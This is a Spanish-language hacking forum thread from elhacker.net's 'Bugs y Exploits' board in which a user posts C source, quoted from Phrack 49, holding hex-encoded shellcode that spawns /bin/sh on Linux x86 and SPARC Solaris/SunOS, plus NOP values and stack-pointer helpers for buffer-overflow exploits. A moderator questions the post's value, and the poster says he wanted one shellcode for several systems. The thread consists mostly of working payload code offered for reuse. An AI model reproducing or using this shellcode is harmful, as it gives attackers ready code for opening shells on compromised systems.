elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
12 Octubre 2008, 16:18  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Shellcode para multiples Sistemas Operativos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Shellcode para multiples Sistemas Operativos  (Leído 312 veces)
WHK

Desconectado Desconectado

Mensajes: 835


+-=[Yan]=-+


Ver Perfil WWW
Shellcode para multiples Sistemas Operativos
« en: 03 Agosto 2007, 07:40 »

He estado leyendo un buen ezine y encontré esta shellcode compatible con Windows, Linux, Sun, entre varios mas:

Citar
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE   1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE   4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif

El ezine se llama Phrack en el número 49
En línea

-The Hacktivism is not a crimen.
- Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
- Richard Stallman: "GNU (GNU No es Unix)".
- Mi web: https://sourceforge.net/projects/whkfilemanager/ - http://www.jccharry.com/ (Actualizando)
- Cracking al 100% http://solid.jccharry.com/
berz3k
Moderador
*****
Desconectado Desconectado

Mensajes: 549



Ver Perfil
Re: Shellcode para multiples Sistemas Operativos
« Respuesta #1 en: 03 Agosto 2007, 09:41 »



Pero no entiendo cual es la aportacion, leernos la phrack? o tomar en cuenta los shellcodes que se mencionan?

existe "in the wild" ya varios programas para tener un multi-shellcode, e.g, Aix. Solaris, BSD, HP, etc. espero postear este code pronto.

-berz3k.

En línea
WHK

Desconectado Desconectado

Mensajes: 835


+-=[Yan]=-+


Ver Perfil WWW
Re: Shellcode para multiples Sistemas Operativos
« Respuesta #2 en: 03 Agosto 2007, 10:26 »

Puse de donde lo saqué para mencionar la fuente pero la idea era que pudieran tener una sola shellcode para multiples sistemas operativos porque yo antes tenía que usar una para windows y otra para linux. Veo que ya habia este tipo de códigos en el foro asi que sorry, creo que se me está quitando la costumbre de usar el buscador. Las shellcodes que usaba son las que están en http://www.elhacker.net/exploits/

En realidad solo dos veces me he topado con solaris y un BSD porque la mayoría de las veces debo hacerlo en linux.
En línea

-The Hacktivism is not a crimen.
- Dios nos hace libres en el mundo real y el Hacking nos hace libres en el mundo de la informática.
- Richard Stallman: "GNU (GNU No es Unix)".
- Mi web: https://sourceforge.net/projects/whkfilemanager/ - http://www.jccharry.com/ (Actualizando)
- Cracking al 100% http://solid.jccharry.com/
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats